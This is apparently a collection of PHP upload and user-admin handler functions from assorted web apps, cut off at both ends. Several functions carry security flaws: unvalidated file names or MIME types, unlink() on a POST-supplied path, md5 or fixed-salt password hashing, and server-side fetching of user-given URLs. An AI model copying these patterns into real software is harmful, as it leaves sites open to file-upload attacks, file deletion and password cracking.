type=\\\"file\\\" name=\\\"userfile\\\" size=\\\"40\\\" maxlength=\\\"80\\\" />\r\n\t\t\t<br /><br />\r\n\t\t\t\".$doss.\"\r\n\t\t\t<br /><br /><input type=\\\"submit\\\" value=\\\"\"._SEND.\"\\\" /><input type=\\\"button\\\" value=\\\"\"._CANCEL.\"\\\" onclick=\\\"javascript:history.back()\\\" />\r\n\t\t\t</form><br /></div>\";\r\n\t\t}else{\r\n\r\n\t\techo\"\t<div style=\\\"text-align: center;\\\"><br /><br /><big>\" . _GALERIEFERMER . \"</big></div>\";\r\n\r\n\t\t}\r\n\t}", "public function menuuploadsavevenue(Request $request)\n {\n //press-kit\n \n //echo \"<pre>\"; print_r($_FILES);echo \"</pre>\";\n \n \n $id=0;\n $chkvalidimage=$this->menufileisinvalid($request,$id);\n \n $err_resp_msg=''; $respflg=0; $uploadedsuccnames=array(); $user_master_img_db=array();\n $slider_contents=''; $default_image_name='';\n $venuecretaeOredit=0;\n $nicknmres =0;\n $errormsgs=$chkvalidimage['errormsgs'];\n $errfileAr=$chkvalidimage['errfileAr'];\n $totalfileposted=$chkvalidimage['totalfileposted'];\n \n if ( empty($errormsgs) || (!empty($errormsgs) && (count($errfileAr)<$totalfileposted)) )\n {\n \n //**** file upload code starts\n \n \n $allowedFileExtAr=array();\n $allowedFileExtAr[]=\"pdf\";\n \n \n $filecontrolname=\"menu_name\";\n \n \n $allowedFileExtSizeAr=array();\n $allowedFileExtSizeAr['pdf']=(5*1024*1024); \n \n \n //max_width & max_height ,min_width & min_height,equal_width & equal_height \n $allowedFileResolAr=array();\n \n // $allowedFileResolAr['jpeg']=array('min_width'=>537,'min_height'=>507);\n \n $func=\"uploadfile\";//validatefile/uploadfile\n \n \n $destinationsourcePath=public_path().\"/upload/venue-menu/source-file/\"; \n \n $chkimgresp=Imageuploadlib::imageupload($request,$filecontrolname,$allowedFileExtAr,$allowedFileExtSizeAr,$allowedFileResolAr,$func,$addeditid=0,$destinationsourcePath,$errfileAr) ;\n \n \n //echo \"==Imcommonpath=>\".$Imcommonpath;\n //echo \"==chkimg1==><pre>\";\n //print_r($chkimgresp);\n //echo \"</pre>\"; //exit();\n \n if(!empty($chkimgresp))\n {\n $errormsgs=''; $fileuploadednames=array();\n \n if(array_key_exists('errormsgs',$chkimgresp))\n {\n $errormsgs=$chkimgresp['errormsgs'];\n }\n \n if(array_key_exists('fileuploadednames',$chkimgresp))\n {\n $fileuploadednames=$chkimgresp['fileuploadednames'];\n }\n \n if(!empty($fileuploadednames))\n {\n \n \n foreach($fileuploadednames as $fileuploadednameAr)\n {\n $presskitfileName=$fileuploadednameAr['filenamedata'];\n $uploadedsuccnames[]=$presskitfileName;\n } \n \n }\n \n }\n \n //**** file upload code ends\n \n \n //***** insert into user_presskit table starts\n \n //$uploadedsuccnames\n \n if(!empty($uploadedsuccnames))\n {\n $user_id=1;\n if ($request->session()->has('front_id_sess'))\n {\n $user_id=$request->session()->get('front_id_sess'); // get session \n $venueID = $this->getseo_name($user_id);\n }\n //**********check modifying date starts here\n $r = $this->check_modifying_date($venueID,$user_id);\n //IF MODIFYING DATE IS 1 THEN THIS IS FIRST TIME EDIT //*** update user_master table ends\n \n //*** check whether any prev presskit present starts\n $selectstr=\" upk.* \";\n \n $user_presskit_db=DB::table('venue_menu as upk'); \n $user_presskit_db=$user_presskit_db->select(DB::raw($selectstr)); \n $user_presskit_db=$user_presskit_db->where('upk.venue_id', $venueID); $user_presskit_db=$user_presskit_db->where('upk.v_creator_id', $user_id);\n \n $user_presskit_db = $user_presskit_db->skip(0)->take(1);\n $user_presskit_db=$user_presskit_db->first();\n $presskit_name='';\n if(!empty($user_presskit_db))\n {\n $presskit_name=stripslashes($user_presskit_db->menu_name);\n }\n \n //*** check whether any prev presskit present ends\n \n foreach($uploadedsuccnames as $user_presskit_name)\n {\n \n \n \n if(!empty($user_presskit_db))\n {\n //**** update qry\n \n $updtusrmstr= DB::table('venue_menu');\n $updtusrmstr= $updtusrmstr->where('venue_id',$venueID);\n $updtusrmstr= $updtusrmstr->where('v_creator_id',$user_id);\n $updtusrmstr=$updtusrmstr->update(\n ['menu_name' =>addslashes($user_presskit_name),\n 'create_date'=>date('Y-m-d H:i:s') \n ]\n );\n \n //*** unlink previous presslit file\n \n $srcpresskit=public_path().\"/upload/venue-menu/source-file/\".$presskit_name;\n \n @unlink($srcpresskit);\n \n \n }\n else\n {\n //**** insert qry\n \n $presskit_array=array(); \n \n $presskit_array['menu_name']=addslashes($user_presskit_name);\n $presskit_array['venue_id']=$venueID;\n $presskit_array['v_creator_id']=$user_id;\n $presskit_array['create_date']=date('Y-m-d H:i:s'); \n $chkupd= DB::table('venue_menu')->insert($presskit_array );\n $last_insert_id=DB::getPdo()->lastInsertId(); \n \n }\n \n \n \n \n \n }\n \n \n //if($r == 1)\n //{\n // $request->session()->flash('front_successmsgdata_sess', 'Your venue has been created successfully .');\n // //return redirect('/');\n // $venuecretaeOredit=1;\n // //**get nickname starts here\n // $nicknmres = $this->getnicknm($venueID,$user_id);\n // //**get nickname ends here\n // \n //}\n DB::table('venue_master')\n ->where('id', $venueID)\n ->update(['modified_date'=>date('Y-m-d H:i:s') ]); \n \n \n }\n \n \n //***** insert into user_presskit table ends\n \n \n \n }\n else\n {\n if(!empty($id))\n {\n \n //return redirect(ADMINSEPARATOR.'/banneradd/'.$id)\n //->withErrors($chkvalid)\n //->withInput();\n \n $err_resp_msg= $errormsgs;\n \n }\n else\n {\n //return redirect(ADMINSEPARATOR.'/banneradd')\n //->withErrors($chkvalid)\n //->withInput();\n \n $err_resp_msg= $errormsgs;\n }\n }\n \n \n if ( empty($errormsgs) || (!empty($errormsgs) && (count($errfileAr)<$totalfileposted)) )\n {\n $respflg=1;\n }\n if($r == 1)\n {\n $request->session()->flash('front_successmsgdata_sess', 'Your venue has been created successfully .');\n //return redirect('/');\n $venuecretaeOredit=1;\n //**get nickname starts here\n $nicknmres = $this->getnicknm($venueID,$user_id);\n //**get nickname ends here\n \n }\n \n \n \n $respAr=array();\n $respAr['venuecretaeedit']=$venuecretaeOredit;\n $respAr['nicknmdata']= $nicknmres;\n $respAr['flag']=$respflg;\n $respAr['errorespmsg']=$err_resp_msg;\n $respAr['errfileAr']=$errfileAr;\n $respAr['totalfileposted']=$totalfileposted;\n $respAr['uploadedsuccnames']=$uploadedsuccnames;\n \n //$respAr['user_master_img_db']=$user_master_img_db;\n // $respAr['chkimgresp']=$chkimgresp;\n echo json_encode($respAr);\n \n \n }", "function upload_img()\n {\n if ($this->isAdmin() == TRUE) {\n $this->loadThis();\n } else {\n $this->global['pageTitle'] = '上传图片';\n $this->global['pageName'] = 'carousel_upload';\n $data['ret_Url'] = 'carousel_edit';\n\n $this->loadViews(\"uploading_img\", $this->global, $data, NULL);\n }\n }", "public function step_2_manage_upload()\n {\n }", "public function p_upload(){\n \n if(!isset($_FILES)){\n //send the user back to the profile but this time have error set.\n Router::redirect(\"/users/profile/\".$this->user->user_id.\"/error\");\n }\n //fixed filename upper case possibility.\n $_FILES['avatar_pic']['name'] = strtolower($_FILES['avatar_pic']['name']);\n //get file extension \n $parts = pathinfo( ($_FILES['avatar_pic']['name']) );\n //boolean set to FALSE for incorrect file extension uploading\n $upload_ok = FALSE;\n \n \n \n \n if($parts['extension'] == \"jpg\")\n $upload_ok = TRUE;\n if($parts['extension'] == \"jpeg\")\n $upload_ok = TRUE; \n if($parts['extension'] == \"png\")\n $upload_ok = TRUE;\n if($parts['extension'] == \"gif\")\n $upload_ok = TRUE; \n \n if($upload_ok) { \n //upload the chosen file and rename it temp-user_id.original extension\n Upload::upload($_FILES, \"/uploads/avatars/\", array(\"jpg\", \"jpeg\", \"gif\", \"png\"), \"temp-\".$this->user->user_id); \n //resize the image to 258x181 -- usually it's 258 wide then optimal height.\n $imgObj = new Image(APP_PATH.'uploads/avatars/'.'temp-'.$this->user->user_id.'.'.$parts['extension']);\n \n $imgObj->resize(100, 100);\n $imgObj->save_image(APP_PATH.'uploads/avatars/'.$this->user->user_id.'.'.'png'); //save the file as user_id.png\n unlink('uploads/avatars/'.'temp-'.$this->user->user_id.'.'.$parts['extension']); //delete the temp file\n Router::redirect(\"/users/profile/\".$this->user->user_id);\n }\n else {\n //send the user back to the profile but this time have error set.\n Router::redirect(\"/users/profile/\".$this->user->user_id.\"/error\");\n } //else\n }", "private function processInsertUser(){\n\t\t//Comprueba que la variable tipo exista, sino pondra 1 por defecto\n\t\tif(isset($_REQUEST[\"tipo\"]))\n\t\t\t$tipo = $_REQUEST[\"tipo\"];\n\t\telse \n\t\t\t$tipo = 1;\n\n\t\tif($_FILES[\"foto_usuario\"][\"error\"] == 0){\n\t\t\t$randNumber = rand(0, 999999);\n\t\t\t$imgName = $randNumber . $_FILES['foto_usuario']['name'];\n\t\t\t$image_upload = Config::$userDirImage . $imgName;\n\t\t\tif (move_uploaded_file($_FILES['foto_usuario']['tmp_name'], $image_upload)) {\n\t\t\t\t$result = $this->users->insertUser($tipo, $imgName); //Devuelve 1 si inserta user\n\t\t\t\tif($result){\n\t\t\t\t\tif (Seguridad::getTipo() == \"0\"){\n\t\t\t\t\t\tView::redireccion(\"user\", \"userController\");\n\t\t\t\t\t} else {\n\t\t\t\t\t\theader('Location: index.php');\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tunlink($image_upload);\n\t\t\t\t\techo \"Ocurrio un error al insertar el usuario.\";\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\techo \"Ocurrio un error al guardar el archivo.\";\n\t\t\t}\n\t\t} else {\n\t\t\techo \"Ocurrio un error al cargar el archivo.\";\n\t\t}\n\t}", "function updateHuitre($id,$nomHuitre,$content,$alt,$target_file)\n {\n $upfile=$_FILES[\"img\"];\n if($upfile[\"name\"]!=''){ \n $typelist=array(\"image/jpeg\",\"image/jpg\",\"image/png\",\"image/gif\");\n $path=\"app\\public\\\\front\\images\\\\\";\n\n $target_file = $path . basename($upfile[\"name\"]);\n\n if (isset($_POST[\"submit\"])) \n {\n \n $check = getimagesize($upfile[\"tmp_name\"]);\n if ($check !== false) {\n if($upfile['size']>500000){\n }\n if(!in_array($upfile[\"type\"],$typelist)){\n die(\"Seuls les formats JPG, JPEG, PNG & GIF files sont authorisés.\");\n }\n if (move_uploaded_file($upfile[\"tmp_name\"], $target_file)) {\n\n if($id>0){\n $huitres = new HuitreManager();\n $updateHuitre = $huitres->updateHuitre($id,$nomHuitre,$content,$target_file);\n var_dump($target_file);\n header('Location: hbAdmin.php?action=huitres');\n }else{\n $huitres = new HuitreManager();\n $newHuitre = $huitres->newHuitre($nomHuitre,$content,$alt,$target_file);\n \n header('Location: hbAdmin.php?action=huitres');}\n }else\n {\n echo \"Désolé, une erreur est survenue dans l'envoi de votre fichier. \";\n } \n }\n \n } else {\n echo \"Ce fichier n'est pas une image. \";\n }\n }else{\n if($id>0){\n $huitres = new HuitreManager();\n $updateHuitre = $huitres->updateHuitre($id,$nomHuitre,$content,$target_file);\n\n header('Location: hbAdmin.php?action=huitres');\n }else{\n $huitres = new HuitreManager();\n $newHuitre = $huitres->newHuitre($nomHuitre,$content,$alt,$target_file);\n\n header('Location: hbAdmin.php?action=huitres');}\n }\n }", "function chucvu($UserID){\n //--- Neu chua dang nhap thi bat dang nhap\n if($this->session->userdata('permission')!=1){\n redirect(base_url());\n exit();\n }\n $data=$this->default_model->getInfoID($this->_table,array(\"userid\" => $UserID));\n $data['ChucVu']=$data['level'];\n $data['template']='admin/form_chucvu'; \n $per=$this->input->post(\"ChucVu\");\n //Neu dang nhap loi\n if($per==\"\")\n {\n }\n else\n {\n $cdata=array(\"level\" => $per);\n $this->default_model->updateDuLieu($this->_table,$cdata,array(\"userid\" => $UserID));\n redirect(base_url().\"thanhvien/quanlythanhvien/1/g/\");\n exit(); \n }\n $this->load->view('admin/admin',$data); \n }", "function suathanhvien($UserID=\"\"){\n \n //--- Neu chua dang nhap thi bat dang nhap\n if($this->session->userdata('permission')!=1){\n redirect(base_url());\n exit();\n }\n $error='';\n // sua thong tin thanh vien cho admin\n if($this->form_validation->run('formSuaThanhVien')==FALSE)\n {\n }\n else\n {\n $data1=$this->default_model->getInfoID($this->_table,array(\"userid\" => $UserID)); \n if($UserID!=\"\"){\n if($this->input->post(\"password\")!=\"\"){\n $password=md5($this->input->post(\"password\"));\n }else{\n $password=$data1['password'];\n }\n \n }else{\n $password=md5($this->input->post(\"password\"));\n }\n $add = array(\n \"username\" => $this->input->post(\"username\"),\n \"password\" => $password,\n \"Email\" => $this->input->post(\"Email\"),\n \"HoVaTen\" => $this->input->post(\"HoVaTen\"),\n \"DienThoai\" => $this->input->post(\"DienThoai\"),\n \"DiaChi\" => $this->input->post(\"DiaChi\"),\n \"GioiTinh\" => $this->input->post(\"GioiTinh\"),\n \"TinhThanh\" => $this->input->post(\"TinhThanh\"),\n );\n \n $user=$this->default_model->updateDuLieu($this->_table,$add,array(\"userid\" => $UserID));\n \n \n //Dang nhap thanh cong\n if($user!=FALSE)\n {\n redirect(base_url().\"thanhvien/quanlythanhvien/1/g/\");\n exit(); \n $error = $this->lang->line('thongbao_doi_thongtin_thanhcong');\n }\n else{\n //Sai mat khau cu\n $error = $this->lang->line('error_default');\n }\n \n }\n //Lay thong tin ca nhan\n $data['users']=$this->default_model->getInfoID($this->_table,array(\"userid\" => $UserID)); \n $data['template']='form_suathanhvien';\n $data['error']=$error;\n $this->load->view('admin/admin',$data);\n }", "public function upload() {\n $defaults = array();\n\n $defaults[\"straat\"] = \"straatnaam of de naam van de buurt\";\n $defaults[\"huisnummer\"] = \"huisnummer\";\n $defaults[\"maker\"] = \"maker\";\n $defaults[\"personen\"] = \"namen\";\n $defaults[\"datum\"] = \"datum of indicatie\";\n $defaults[\"titel\"] = \"titel\";\n $defaults[\"naam\"] = \"Je naam\";\n $defaults[\"email\"] = \"Je e-mailadres\";\n $defaults[\"tags\"] = \"\";\n\n $this->set('defaults', $defaults);\n\n if (!empty($this->request->data['Upload'])) {\n // form is niet leeg\n\n $upload = $this->stripdefaults($this->request->data['Upload'], $defaults); // strip default values\n\n $thereisfile = false;\n\n if (isset($upload['selimg']['size'])) {\n if ($upload['selimg']['size'] != 0) {\n // upload file\n if ($upload['selimg']['error'] == 0) {\n $thereisfile = true;\n }\n }\n }\n\n if ($thereisfile) {\n // sometimes filenames contain a . , get the last item\n $fnamea = explode('.', $upload['selimg']['name']);\n $thepos = count($fnamea) - 1;\n $extension = strtolower($fnamea[$thepos]);\n $this->Media->set('extensie', $extension);\n\n // remove unwanted characters\n $filename = str_replace(\" \", \"_\", $upload[\"selimg\"][\"name\"]);\n $filename = str_replace(\",\", \"_\", $filename);\n $filename = str_replace(\"*\", \"_\", $filename);\n $filename = str_replace(\"%\", \"_\", $filename);\n $filename = str_replace(\"?\", \"_\", $filename);\n $filename = str_replace(\":\", \"_\", $filename);\n $filename = str_replace(\"|\", \"_\", $filename);\n\n\n // fix extension to remove extra .\n $filename = str_replace(\".\", \"_\", $filename);\n $filename = str_replace(\"_\" . $extension, \".\" . $extension, $filename);\n\n $this->Media->set(\"originalfilename\", $filename);\n }\n\n\n\n if ($this->Auth->loggedIn()) {\n // echo('logged in');\n $this->Media->set('user_id', $this->Auth->user('id'));\n } else {\n if ($upload['email'] != \"\") {\n $user_id = $this->User->giveid($upload['email'], $upload['naam']);\n } else {\n $user_id = 0;\n }\n\n $this->Media->set('user_id', $user_id);\n }\n\n\n\n // *** datering\n if (isset($upload['datum']))\n $this->Media->set('datering', $upload['datum']);\n if (isset($upload['opmerkingen'])) {\n $opmerkingen = htmlentities($upload['opmerkingen']);\n $opmerkingen = str_replace(\"'\", \"&rsquo;\", $opmerkingen);\n $this->Media->set('opmerkingen', $opmerkingen);\n }\n if (isset($upload['exturl']))\n $this->Media->set('exturl', $upload['exturl']);\n if (isset($upload['extid']))\n $this->Media->set('extid', $upload['extid']);\n if (isset($upload['extthumb'])) {\n $this->Media->set('extthumb', $upload['extthumb']);\n // $extension \t\t= pathinfo($upload['extthumb'],PATHINFO_EXTENSION);\n //\t$this->Media->set('extensie', $extension);\n }\n // *** straat\n $this->Locationcode = $this->Components->load('Locationcode'); // load component\n $this->Locationcode->startup();\n\n if (isset($upload['latlng'])) {\n // pin put on map\n // store or get lat lon ; get the id\n $ll = explode(\",\", $upload['latlng']);\n $lat = $ll[0];\n $lng = $ll[1];\n $location_id = $this->Location->giveanid($lat, $lng);\n\n // $upload['straat']\n } else {\n // adres entry\n $huis = ($upload['huisnummer'] != \"\" ? \",\" . $upload['huisnummer'] : \"\");\n $searchfor = $upload['straat'] . $huis . ',amsterdam,netherlands';\n\n\n\n $location_id = $this->Locationcode->getlocation($searchfor);\n }\n\n\n\n $object_id = $this->Objectsatlocation->giveobjectid($location_id);\n\n if (!$object_id) {\n $this->Objects->set('naam', ' ');\n $this->Objects->set('type', ' ');\n\n $this->Objects->save();\n $object_id = $this->Objects->id;\n\n $this->Objectsatlocation->set('object_id', $object_id);\n $this->Objectsatlocation->set('location_id', $location_id);\n\n $this->Objectsatlocation->save();\n }\n\n // *** titel\n $titel = $upload['titel'];\n if ($titel && $titel != \"titel\")\n $this->Media->set('titel', $titel);\n\n\n $this->Media->set('storageloc_id', '1');\n $this->Media->set('soort_id', '1'); // 1-image,2-video\n $this->Media->set('huisnummer', $upload['huisnummer']);\n\n $this->Media->save();\n\n $media_id = $this->Media->id;\n\n\n $this->Mediaaboutobjects->set('object_id', $object_id);\n $this->Mediaaboutobjects->set('media_id', $media_id);\n $this->Mediaaboutobjects->save();\n\n\n if ($thereisfile) {\n\n // u =uploaded file\tSKIPPED\n // e= external fileSKIPPED\n // subdirs calc = dechex ( intval($filename/1000) ) .\"/\".dechex ( $filename % 1000);\n $filecalc = dechex(intval($this->Media->id / 1000)) . DS . dechex($this->Media->id % 1000) . '.' . $extension;\n\n $storename = '/sites/bvstemmen.nl/media' . DS . $filecalc;\n $success = rename($upload['selimg']['tmp_name'], $storename);\n\n\n // determine filetype\n\n $theurl = \"http://media.bvstemmen.nl/\" . $filecalc;\n\n $info = get_headers($theurl, 1);\n $mime = split(\"/\", $info['Content-Type']);\n\n $mimekind = $mime[0]; // type: video, audio, image, text, application\n $mimetypa = $mime[1]; // subtype, e.g.: jpg, gif, html, mp3 etc\n $mimetmps = split(\";\", $mimetypa); // e.g. text/html;charset: utf-8\n $mimetype = $mimetmps[0];\n\n\n if ($mimekind == 'video') {\n $cachedir = pathinfo('/sites/bvstemmen.nl/cache/video' . DS . $filecalc, PATHINFO_DIRNAME);\n $subdirs = split(\"/\", $cachedir);\n $existsdir = \"/sites/bvstemmen.nl/cache/\";\n foreach ($subdirs as &$value) {\n $existsdir .= $value . \"/\";\n if (!is_dir($existsdir))\n mkdir($existsdir);\n }\n\n\n $toopen = \"http://83.163.41.197:8008/bvstemmen/convert/video.php?f=/\" . $filecalc; // convert video file on remote server\n file_get_contents($toopen);\n $this->Media->set('soort_id', '2'); // 1-image,2-video\n $this->Media->save();\n }\n\n\n if ($mimekind == 'audio') {\n $cachedir = pathinfo('/sites/bvstemmen.nl/cache/video' . DS . $filecalc, PATHINFO_DIRNAME);\n $subdirs = split(\"/\", $cachedir);\n $existsdir = \"/sites/bvstemmen.nl/cache/\";\n foreach ($subdirs as &$value) {\n $existsdir .= $value . \"/\";\n if (!is_dir($existsdir))\n mkdir($existsdir);\n }\n $toopen = \"http://83.163.41.197:8008/bvstemmen/convert/audio.php?f=/\" . $filecalc; // convert video file on remote server\n file_get_contents($toopen);\n $this->Media->set('soort_id', '3'); // 1-image,2-video,3-audio\n $this->Media->save();\n }\n\n\n if ($mimekind == 'text') {\n // $toopen = \"http://83.163.41.197/bvstemmen/convert/video.php?f=/\" . $filecalc;\t// convert video file on remote server\n // file_get_contents($toopen);\n $this->Media->set('soort_id', '4'); // 1-image,2-video,3-audio,4-text\n $this->Media->save();\n }\n\n if ($mimekind == 'application') {\n // $toopen = \"http://83.163.41.197/bvstemmen/convert/video.php?f=/\" . $filecalc;\t// convert video file on remote server\n // file_get_contents($toopen);\n $this->Media->set('soort_id', '5'); // 1-image,2-video,3-audio,4-text,5-application\n $this->Media->save();\n }\n }\n\n\n if (isset($upload['extthumb'])) {\n //store local, no external img linking\n $extfile = file_get_contents($upload['extthumb']);\n $extension = pathinfo($upload['extthumb'], PATHINFO_EXTENSION);\n $filecalc = dechex(intval($this->Media->id / 1000)) . DS . dechex($this->Media->id % 1000) . '.' . $extension;\n\n\n $existsdir = '/sites/bvstemmen.nl/media' . \"/\";\n $subdirs = split(\"/\", pathinfo($filecalc, PATHINFO_DIRNAME));\n\n foreach ($subdirs as &$value) {\n $existsdir .= $value . \"/\";\n if (!is_dir($existsdir))\n mkdir($existsdir);\n }\n\n\n $storename = '/sites/bvstemmen.nl/media' . DS . $filecalc;\n $handle = fopen($storename, \"w\");\n fwrite($handle, $extfile);\n fclose($handle);\n }\n\n // *** tags\n\n if (PROJECTSHORTNAME != \"www\") {\n // save a tag for this project\n $tagid = $this->Tagnames->giveanid(PROJECTSHORTNAME);\n\n $this->Tags->create();\n $this->Tags->set('tagnames_id', $tagid);\n $this->Tags->set('rel', 'media');\n $this->Tags->set('media_id', $media_id);\n $this->Tags->save();\n }\n\n if ($upload['tags'] != \"\") {\n $tags = split(\",\", $upload['tags']);\n\n $numtags = count($tags);\n\n for ($i = 0; $i < $numtags; ++$i) {\n $thetag = trim($tags[$i]);\n $tagid = $this->Tagnames->giveanid($thetag);\n\n $this->Tags->create();\n $this->Tags->set('tagnames_id', $tagid);\n $this->Tags->set('rel', 'media');\n $this->Tags->set('media_id', $media_id);\n $this->Tags->save();\n }\n }\n\n\n // *** maker\n if ($upload['maker'] != \"\") {\n $maker_id = $this->User->nametoid($upload['maker']);\n $this->Nameswithmedium->create();\n $this->Nameswithmedium->set('user_id', $maker_id);\n $this->Nameswithmedium->set('relatiesoort', 'maker');\n $this->Nameswithmedium->set('media_id', $media_id);\n $this->Nameswithmedium->save();\n }\n\n // *** wie staan er op\n if ($upload['personen'] != \"\") {\n $personen_id = $this->User->nametoid($upload['personen']);\n $this->Nameswithmedium->create();\n $this->Nameswithmedium->set('user_id', $personen_id);\n $this->Nameswithmedium->set('relatiesoort', 'staat op');\n $this->Nameswithmedium->set('media_id', $media_id);\n $this->Nameswithmedium->save();\n }\n\n\n\n $onderwerp = 'Nieuwe upload ' . $upload['naam'];\n $bericht = \"http:\" . HOMEURL . \"/media/detail/\" . $media_id;\n $bericht .= \"\\n\\n\\nDit is een automatisch genegeerd e-mailbericht.\";\n $to = EMAILINFO;\n $from = EMAILINFO;\n $audience = 'internal';\n $level = \"info\";\n\n $this->notify($onderwerp, $bericht, $to, $from, $audience, $level);\n\n $this->render('uploaddank');\n } else {\n\n $this->Session->setFlash('Selecteer een bestand en probeer het opnieuw.');\n }\n }", "public function upload_foto_profil()\n {\n $where = $this->input->post('id_warga');\n if ($_FILES != null) {\n $this->aksi_upload_foto_profil($_FILES);\n }\n $this->session->set_flashdata('success', 'diubah');\n redirect('admin/detail_data_warga/' . $where);\n }", "function form_tambah()\n {\n if($this->session->userdata('status') != \"login\"){\n\t\t\tredirect(base_url(\"admin\"));\n\t\t}\n else if($this->session->userdata('status') == \"login\"){\n //menampilkan status user\n $permission = $this->session->userdata('permission');\n foreach ($permission as $perm){\n $mission = $perm->status;\n }\n\t\t\t$data = [ \n 'permission' => $mission,\n 'breadcrumb' => \"Tambah Pasien Baru\",\n 'content' => 'admin/content/form_pasien'\n ];\n $this->load->view(\"admin/index\", $data);\n\t\t} \n }", "function upload(){\r\n\t\t\t$config=array(\r\n\t\t\t'allowed_types'=>'jpg|jpeg|png|gif', 'upload_path'=>'./foto/', 'max_size'=>'1024', \r\n\t\t\t'file_name'=>url_title($this->input->post('gambar'))\t\t\t\r\n\t\t\t);\t\t\r\n\t\t\t$this->upload->initialize($config);\r\n\t\t\tif ($this->upload->do_upload('gambar')) {\t//jika file telah di upload\t\t\r\n\t\t\t//menyimpan data ke Database\r\n\t\t\t$nis=$this->input->post('nis',true);\r\n\t\t\t$file=$this->upload->file_name;\r\n\t\t\t$aktif=$this->input->post('aktif',true);\r\n\t\t\t$this->model_foto->add($nis,$file,$aktif);\r\n\t\t\tredirect('foto');\r\n\t\t\t} else {\r\n\t\t\t$error=$this->upload->display_errors();\r\n\t\t\techo $error;\t\t\t\r\n\t\t\t}\r\n\t\t}", "static public function ctrEditUser(){\n\t\t\tif(isset($_POST[\"editarUsuario\"])){\n\t\t\t\tif(preg_match('/^[a-zA-Z0-9ñÑáéíóúÁÉÍÓÚ ]+$/',$_POST[\"editarNombre\"]) ){\n\n\t\t\t\t\t/*==========================================================\n\t\t\t\t\t\tV A L I D A R I M A G E N\n\t\t\t\t\t==========================================================*/\n\t\t\t\t\t$ruta = $_POST[\"fotoActual\"];\n\t\t\t\t\tif(isset($_FILES[\"editarFoto\"][\"tmp_name\"]) && $_FILES[\"editarFoto\"][\"tmp_name\"] != \"\"){\n\t\t\t\t\t\tlist($ancho, $alto) = getimagesize($_FILES[\"editarFoto\"][\"tmp_name\"]);\n\t\t\t\t\t\t\n\t\t\t\t\t\t$nuevoAncho = 500;\n\t\t\t\t\t\t$nuevoAlto = 500;\n\n\t\t\t\t\t\t/*---------------------------------------------\n\t\t\t\t\t\t\tCREAR DIRECTORIO DONDE SE GUARDA LA FOTO\n\t\t\t\t\t\t---------------------------------------------*/\n\t\t\t\t\t\t$directorio = \"view/img/usuarios/\".$_POST[\"editarUsuario\"];\n\t\t\t\t\t\t\n\t\t\t\t\t\t/*--------------------------------------------\n\t\t\t\t\t\t\tPREGUNTAR SI EXISTE FOTO EN LA DB\n\t\t\t\t\t\t--------------------------------------------*/\n\t\t\t\t\t\tif(!empty($_POST[\"fotoActual\"])){\n\t\t\t\t\t\t\tunlink($_POST[\"fotoActual\"]);\n\t\t\t\t\t\t}else{//Creamos Directorio\n\t\t\t\t\t\t\tmkdir($directorio, 0755);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t/*---------------------------------------------\n\t\t\t\t\t\t\tDE ACUERDO AL TIPO DE IMAGEN ACCIONES\n\t\t\t\t\t\t---------------------------------------------*/\n\t\t\t\t\t\t$rand = mt_rand(100, 999);\n\n\t\t\t\t\t\t//------------------ IMAGEN JPEG ------------------\n\t\t\t\t\t\tif($_FILES[\"editarFoto\"][\"type\"] == \"image/jpeg\"){\n\t\t\t\t\t\t\t//Guardamos Imagen en el Directorio\n\t\t\t\t\t\t\t$ruta = \"view/img/usuarios/\".$_POST[\"editarUsuario\"].\"/\".$rand.\".jpeg\";\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t$origen = imagecreatefromjpeg($_FILES[\"editarFoto\"][\"tmp_name\"]);\n\t\t\t\t\t\t\t$destino = imagecreatetruecolor($nuevoAncho, $nuevoAlto);\n\n\t\t\t\t\t\t\timagecopyresized($destino, $origen, 0, 0, 0, 0, $nuevoAncho, $nuevoAlto, $ancho, $alto);\n\t\t\t\t\t\t\timagejpeg($destino, $ruta);\n\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif($_FILES[\"editarFoto\"][\"type\"] == \"image/png\"){\n\t\t\t\t\t\t\t//Guardamos Imagen en el Directorio\n\t\t\t\t\t\t\t$ruta = \"view/img/usuarios/\".$_POST[\"editarUsuario\"].\"/\".$rand.\".png\";\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t$origen = imagecreatefrompng($_FILES[\"editarFoto\"][\"tmp_name\"]);\n\t\t\t\t\t\t\t$destino = imagecreatetruecolor($nuevoAncho, $nuevoAlto);\n\n\t\t\t\t\t\t\timagecopyresized($destino, $origen, 0, 0, 0, 0, $nuevoAncho, $nuevoAlto, $ancho, $alto);\n\t\t\t\t\t\t\timagepng($destino, $ruta);\n\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\t\n\t\t\t\t\t//Posible Cambio de Contraseña\n\t\t\t\t\t$crPassword = \"\";\n\t\t\t\t\tif($_POST[\"editarPassword\"] != \"\"){\n\t\t\t\t\t\tif(preg_match('/^[a-zA-Z0-9]+$/',$_POST[\"editarPassword\"])){\n\t\t\t\t\t\t\t$crPassword = crypt($_POST[\"editarPassword\"], '$2a$08$abb55asfrga85df8g42g8fDDAS58olf973adfacmY28n05$');\n\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\techo '<script>\n\t\t\t\t\t\t\t\t\tswal({\n\t\t\t\t\t\t\t\t\t\ttype: \"warning\",\n\t\t\t\t\t\t\t\t\t\ttitle: \"La contraseña no puede llevar caracteres especiales\",\n\t\t\t\t\t\t\t\t\t\tshowConfirmButton: true,\n\t\t\t\t\t\t\t\t\t\tconfirmButtonText: \"Cerrar\",\n\t\t\t\t\t\t\t\t\t\tcloseOnConfirm: false\n\t\t\t\t\t\t\t\t\t}).then((result=>{\n\t\t\t\t\t\t\t\t\t\tif(result.value){\n\t\t\t\t\t\t\t\t\t\t\twindow.location = \"users\"\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}))\n\t\t\t\t\t\t\t\t</script>';\n\t\t\t\t\t\t}\n\t\t\t\t\t}else{\t//Editar Password viene vacio, no se modificara contraseña\n\t\t\t\t\t\t$crPassword = $_POST[\"passwordActual\"];\n\t\t\t\t\t}\n\t\t\t\t\t$tabla = \"usuarios\";\n\t\t\t\t\t$datos = array(\n\t\t\t\t\t\t\"nombre\"=>$_POST[\"editarNombre\"],\n\t\t\t\t\t\t\"usuario\" => $_POST[\"editarUsuario\"],\n\t\t\t\t\t\t\"password\" => $crPassword,\n\t\t\t\t\t\t\"perfil\" => 